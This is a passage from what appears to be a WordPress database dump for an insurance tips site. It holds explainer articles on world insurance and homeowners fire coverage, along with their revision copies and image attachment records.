-->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/u/underinsured-motorist-coverage-limits-trigger.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Underinsured Motorist Coverage Limits Trigger: Overview','','inherit','closed','closed','','3934-revision-v1','','','2024-03-30 03:36:54','2024-03-30 03:36:54','',3934,'https://smartinsurance.tips/?p=3936',0,'revision','',0),(3937,1,'2024-03-30 03:44:07','2024-03-30 03:44:07','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3938,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-32-1024x1024.png\" alt=\"\" class=\"wp-image-3938\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is World Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">World insurance is a type of commercial liability policy with extended global coverage. World insurance provides coverage in the event the policyholder is sued anywhere in the world. In general, however, commercial liability policies have a geographic limit for coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Multinational firms, corporations with a global footprint, or domestic companies that have contracts with international partners/associates often obtain this type of insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>World insurance provides commercial liability coverage in the event the policyholder is sued anywhere in the world, subject to some restrictions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It is common for companies with global operations or who have contracts with international partners or associates to purchase world coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some common types of world insurance include foreign commercial general liability, foreign business auto, foreign voluntary workers’ compensation, and foreign travel accident and sickness insurance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_8-0\">Understanding World Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_9-0\">World insurance requires the policyholder to pay an additional premium.&nbsp;In addition to property and workers\' compensation insurance, commercial liability insurance (also referred to as general liability insurance) is essential to businesses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_11-0\">This insurance protects the assets of a business in the event it is sued for alleged bodily injury or property damages. The insurer may also cover damages and legal expenses associated with covered claims involving actual or alleged product liability, contractual liability, personal injury, advertising injury, and other commercial risks as indicated in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">It\'s important for organizations to understand the scope of their insurance needs&nbsp;for their international business operations. It\'s&nbsp;critical to protect&nbsp;corporate assets, and most&nbsp;insurance policies placed in the U.S. provide limited, if any, coverage for losses occurring abroad. There are numerous specialized world insurance policies&nbsp;available to&nbsp;companies for conducting international business that are designed to provide&nbsp;global protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_15-0\">Types of World Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_16-0\">Depending on the extent of the foreign business being conducted, there are several types of insurance to consider. Many of these and other foreign liability coverages can be packaged and purchased together and added to as business needs change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_18-0\">Foreign Commercial General Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">This type of coverage is similar to domestic liability coverage, but it\'s for foreign occurrences and includes protection for U.S. occurrences when a suit is brought outside the U.S. or Canada. This type of coverage becomes necessary if&nbsp;manufacturers and distributors that sell products outside of the U.S. are&nbsp;sued in foreign jurisdictions. A U.S.-based policy would only cover lawsuits that are filed in the U.S. or Canada.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_21-0\">Foreign Business Auto</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_22-0\">Companies buy this to protect against&nbsp;physical damage and liability for hired and non-owned vehicles operated overseas. Coverage is typically needed for limits over and above the minimum or statutory limits that are required to be purchased from the rental company in the foreign country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_24-0\">Foreign Voluntary Workers’ Compensation/Employers Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_25-0\">The purpose of this coverage is to extend benefits for U.S. employees while traveling overseas or when assigned to work outside the U.S. and Canada. Coverage can include medical assistance programs and repatriation expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">Foreign Commercial Property and Business Income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">This type of insurance affords protection at unscheduled locations while in transit for laptop computers, sales samples, and personal property at trade shows overseas. A more extensive policy may be required for owned or leased facilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_30-0\">Foreign Crime</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_31-0\">A kind of coverage that protects&nbsp;against losses&nbsp;from dishonest acts perpetrated by employees overseas, including forgery, theft, or robbery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_33-0\">Foreign Travel Accident and&nbsp;Sickness</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">When companies, or individuals, buy this type of insurance, they are looking for additional protection in the event of an emergency while traveling overseas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/w/world-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','World Insurance: What It is, How It Works, Types','','publish','closed','closed','','world-insurance-what-it-is-how-it-works-types','','','2024-03-30 03:44:09','2024-03-30 03:44:09','',0,'https://smartinsurance.tips/?p=3937',0,'post','',0),(3938,1,'2024-03-30 03:43:10','2024-03-30 03:43:10','','Untitled-32','','inherit','closed','closed','','untitled-32','','','2024-03-30 03:43:10','2024-03-30 03:43:10','',3937,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-32.png',0,'attachment','image/png',0),(3939,1,'2024-03-30 03:44:07','2024-03-30 03:44:07','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3938,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-32-1024x1024.png\" alt=\"\" class=\"wp-image-3938\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is World Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">World insurance is a type of commercial liability policy with extended global coverage. World insurance provides coverage in the event the policyholder is sued anywhere in the world. In general, however, commercial liability policies have a geographic limit for coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">Multinational firms, corporations with a global footprint, or domestic companies that have contracts with international partners/associates often obtain this type of insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>World insurance provides commercial liability coverage in the event the policyholder is sued anywhere in the world, subject to some restrictions.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It is common for companies with global operations or who have contracts with international partners or associates to purchase world coverage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Some common types of world insurance include foreign commercial general liability, foreign business auto, foreign voluntary workers’ compensation, and foreign travel accident and sickness insurance.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_8-0\">Understanding World Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_9-0\">World insurance requires the policyholder to pay an additional premium.&nbsp;In addition to property and workers\' compensation insurance, commercial liability insurance (also referred to as general liability insurance) is essential to businesses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_11-0\">This insurance protects the assets of a business in the event it is sued for alleged bodily injury or property damages. The insurer may also cover damages and legal expenses associated with covered claims involving actual or alleged product liability, contractual liability, personal injury, advertising injury, and other commercial risks as indicated in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">It\'s important for organizations to understand the scope of their insurance needs&nbsp;for their international business operations. It\'s&nbsp;critical to protect&nbsp;corporate assets, and most&nbsp;insurance policies placed in the U.S. provide limited, if any, coverage for losses occurring abroad. There are numerous specialized world insurance policies&nbsp;available to&nbsp;companies for conducting international business that are designed to provide&nbsp;global protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_15-0\">Types of World Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_16-0\">Depending on the extent of the foreign business being conducted, there are several types of insurance to consider. Many of these and other foreign liability coverages can be packaged and purchased together and added to as business needs change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_18-0\">Foreign Commercial General Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">This type of coverage is similar to domestic liability coverage, but it\'s for foreign occurrences and includes protection for U.S. occurrences when a suit is brought outside the U.S. or Canada. This type of coverage becomes necessary if&nbsp;manufacturers and distributors that sell products outside of the U.S. are&nbsp;sued in foreign jurisdictions. A U.S.-based policy would only cover lawsuits that are filed in the U.S. or Canada.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_21-0\">Foreign Business Auto</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_22-0\">Companies buy this to protect against&nbsp;physical damage and liability for hired and non-owned vehicles operated overseas. Coverage is typically needed for limits over and above the minimum or statutory limits that are required to be purchased from the rental company in the foreign country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_24-0\">Foreign Voluntary Workers’ Compensation/Employers Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_25-0\">The purpose of this coverage is to extend benefits for U.S. employees while traveling overseas or when assigned to work outside the U.S. and Canada. Coverage can include medical assistance programs and repatriation expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">Foreign Commercial Property and Business Income</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">This type of insurance affords protection at unscheduled locations while in transit for laptop computers, sales samples, and personal property at trade shows overseas. A more extensive policy may be required for owned or leased facilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_30-0\">Foreign Crime</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_31-0\">A kind of coverage that protects&nbsp;against losses&nbsp;from dishonest acts perpetrated by employees overseas, including forgery, theft, or robbery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_33-0\">Foreign Travel Accident and&nbsp;Sickness</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">When companies, or individuals, buy this type of insurance, they are looking for additional protection in the event of an emergency while traveling overseas.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/w/world-insurance.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','World Insurance: What It is, How It Works, Types','','inherit','closed','closed','','3937-revision-v1','','','2024-03-30 03:44:07','2024-03-30 03:44:07','',3937,'https://smartinsurance.tips/?p=3939',0,'revision','',0),(3940,1,'2024-03-30 03:49:19','2024-03-30 03:49:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3941,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-29-1024x1024.png\" alt=\"\" class=\"wp-image-3941\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Having the proper fire insurance through a homeowners insurance policy is crucial to avoid potentially ruinous financial losses from a fire. Fortunately, the best home insurance companies have you covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Coverage within a standard home insurance policy can compensate you after a fire, including dwelling, other structures, personal property, loss of use, and even liability coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Fire Insurance and How Does It Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fire insurance is part of homeowners insurance and covers the cost of damages and losses caused by a fire. The coverage can pay to repair or rebuild your house and replace damaged personal property such as clothing, furniture, and appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Home insurance also includes loss of use coverage, which pays for your extra costs if your home is inhabitable after a fire and you have to live elsewhere during repairs. Loss of use costs can include lodging and restaurant meals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home insurance policy also provides personal liability coverage that covers you if someone (who is not in your household) is hurt or, in some cases, if another property is damaged because of a fire that started in your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> If you’re concerned about having enough dwelling coverage, you may be able to buy extended or guaranteed replacement cost coverage, which adds an extra amount to your dwelling limits if needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your property is damaged by a fire, you can file a claim with your home insurance company. The insurer will review the damage and your policy to identify what’s covered and how much you’re owed, minus the deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The company will pay up to your dwelling coverage limit for damage to your house structure. You may also be able to buy extended or guaranteed replacement cost coverage at an added cost. Extended replacement cost expands your dwelling coverage by a percentage, such as 25%, if the cost to rebuild your home exceeds the base dwelling insurance limits. That means if you have $300,000 in dwelling coverage, extended replacement cost coverage at 25% extra will reimburse you up to $375,000. Guaranteed replacement cost goes even further and pays whatever it costs to rebuild your house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Extended or guaranteed replacement cost coverage can play a key role in getting enough insurance reimbursement to rebuild your house, especially during times of higher inflation or a widespread disaster that creates increased demand for construction. In these cases you may find that your dwelling coverage isn’t sufficient and you need to tap your extended or guaranteed replacement cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The exact amount you’ll get for damaged personal property hinges on whether you have replacement cost or actual cash value coverage. Actual cash value coverage reimburses you for personal property minus depreciation, while replacement cost coverage pays to replace the damaged property with new, similar items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Types of Fires Are Covered Under Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A homeowners policy covers accidental causes of fire, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Wildfires</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cooking and grease</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Candles</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Electrical issues</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Gas leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Heating problems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lightning strikes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Power surges</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Types of Fires Aren’t Covered Under Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home insurance won’t cover all causes of fires, including negligence and fires set by the homeowner (arson).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Preventable fires may not be covered by your policy. For instance, If a fire starts because you didn’t properly clean and maintain your chimney, the insurance company might not pay for the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you reside in an area susceptible to wildfires, you might find it challenging to get a homeowners insurance policy that covers wildfire damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Different Types of Home Insurance Fire Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fire protection within a home insurance policy is found in several coverage types.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Dwelling Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Dwelling coverage pays for the cost of rebuilding or repairing your home’s structure as well as attached structures, such as a garage. It will pay up to your dwelling coverage limit unless you have expanded coverage like extended replacement cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Other Structures Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other structures coverage pays for damage to detached structures such as sheds, fences, decks, canopies, pergolas, gazebos and detached garages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Personal Property Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Personal property coverage pays for damage to your belongings, such as furniture, electronics, appliances and clothing. You can typically choose between actual cash value and replacement cost coverage, which is more expensive but provides a higher amount of reimbursement if you file a personal property damage claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Loss of Use Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Loss of use coverage can pay for your extra costs if you must vacate your home while it’s being rebuilt or fixed after a fire. That may include a temporary hotel stay. This is also sometimes called additional living expenses coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Personal Liability Coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Liability insurance covers you for injury to another person or damage to their property for which you’re legally liable. For example, a fire at your home spreads to a neighbor’s house. You’re found liable because of negligence, such as an unattended candle sparking a blaze, and they sue you for damages. Personal liability coverage will cover the expenses involved in a lawsuit, including settlements and defense costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Much Does Fire Insurance Cost?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The average homeowners insurance policy costs $1,582 a year for a policy with $350,000 of dwelling insurance, according to Forbes Advisor‘s analysis. You don’t have to buy separate fire insurance, as it’s included as part of a home insurance policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your dwelling coverage limit should align with the estimated cost of reconstructing your house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Factors that influence the cost of home insurance include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The cost to rebuild your home.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your home’s location and age.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Materials used to construct the house, including wood, brick or stone.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The location’s fire rating, including the nearness of hydrants and a fire station.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Claims history (yours and the property’s).</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your coverage and policy limits.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Policy’s deductible.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your credit (except in California, Maryland and Massachusetts).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to File a Fire Insurance Claim</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your home suffers a fire, you’ll want to take these steps when filing an insurance claim and avoid home insurance claim mistakes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li><strong>Limit further damage.</strong>&nbsp;If you can do so safely, it’s wise to prevent further damage to your property immediately after a fire. For example, if a window is broken because of a problem covered by a home policy, you can prevent further damage by boarding the window to keep out rain.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Evaluate and document losses.</strong>&nbsp;Take thorough photos and videos and make lists of all damaged property. If possible, gather receipts and proof of purchase of any items you’ll list on your claim. Be proactive and create a home inventory before you ever need it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Contact your insurance company as soon as possible following the fire.</strong>&nbsp;Try to contact your insurance company the same day of the incident or as soon as possible so you can begin the claims process.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Prepare to provide information to your insurance company.</strong>&nbsp;This might include the date and time of the fire, a recap of what occurred, the fire department/police report and your videos, photos and written documentation of losses.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Meet with a claims adjuster.</strong> An adjuster from your insurance company will be dispatched to your home in the hours or days after you report a claim. You can also hire a public adjuster, which is an independent insurance professional that helps homeowners make sure the claim is settled fairly and efficiently.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Get paid by the insurance company.</strong>&nbsp;After conducting an investigation, the insurance company will decide whether to approve your claim and how much you’re owed, minus your policy deductible.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>By being proactive after a fire, you can shorten the claim processing time. While any fire damage is stressful, having the right documentation and following up with your insurer will pay off.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.forbes.com/advisor/homeowners-insurance/fire-insurance/\">click here.</a></p>\n<!-- /wp:paragraph -->','Fire Insurance: Does Homeowners Policy Cover Fire Damage?','','publish','closed','closed','','fire-insurance-does-homeowners-policy-cover-fire-damage-2','','','2024-03-30 03:49:21','2024-03-30 03:49:21','',0,'https://smartinsurance.tips/?p=3940',0,'post','',0),(3941,1,'2024-03-30 03:47:05','2024-03-30 03:47:05','','Untitled-29','','inherit','closed','closed','','untitled-29-2','','','2024-03-30 03:47:05','2024-03-30 03:47:05','',3940,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-29.png',0,'attachment','image/png',0),(3942,1,'2024-03-30 03:49:19','2024-03-30 03:49:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3941,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-29-1024x1024.png\" alt=\"\" class=\"wp-image-3941\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Having the proper fire insurance through a homeowners insurance policy is crucial to avoid potentially ruinous financial losses from a fire. Fortunately, the best home insurance companies have you covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Coverage within a standard home insurance policy can compensate you after a fire, including dwelling, other structures, personal property, loss of use, and even liability coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Is Fire Insurance and How Does It Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Fire insurance is part of homeowners insurance and covers the cost of damages and losses caused by a fire. The coverage can pay to repair or rebuild your house and replace damaged personal property such as clothing, furniture, and appliances.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Home insurance also includes loss of use coverage, which pays for your extra costs if your home is inhabitable after a fire and you have to live elsewhere during repairs. Loss of use costs can include lodging and restaurant meals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home insurance policy also provides personal liability coverage that covers you if someone (who is not in your household) is hurt or, in some cases, if another property is damaged because of a fire that started in your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Pro Tip:</strong> If you’re concerned about having enough dwelling coverage, you may be able to buy extended or guaranteed replacement cost coverage, which adds an extra amount to your dwelling limits if needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If your property is damaged by a fire, you can file a claim with your home insurance company. The insurer will review the damage and your policy to identify what’s covered and how much you’re owed, minus the deductible.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The company will pay up to your dwelling coverage limit for damage to your house structure. You may also be able to buy extended or guaranteed replacement cost coverage at an added cost. Extended replacement cost expands your dwelling coverage by a percentage, such as 25%, if the cost to rebuild your home exceeds the base dwelling insurance limits. That means if you have $300,000 in dwelling coverage, extended replacement cost coverage at 25% extra will reimburse you up to $375,000. Guaranteed replacement cost goes even further and pays whatever it costs to rebuild your house.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Extended or guaranteed replacement cost coverage can play a key role in getting enough insurance reimbursement to rebuild your house, especially during times of higher inflation or a widespread disaster that creates increased demand for construction. In these cases you may find that your dwelling coverage isn’t sufficient and you need to tap your extended or guaranteed replacement cost coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The exact amount you’ll get for damaged personal property hinges on whether you have replacement cost or actual cash value coverage. Actual cash value coverage reimburses you for personal property minus depreciation, while replacement cost coverage pays to replace the damaged property with new, similar items.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What Types of Fires Are Covered Under Insurance?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A homeowners policy covers accidental causes of fire, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Wildfires</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Cooking and grease</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Candles</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Electrical issues</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Gas leaks</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Heating problems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Lightning strikes</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Power surges</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 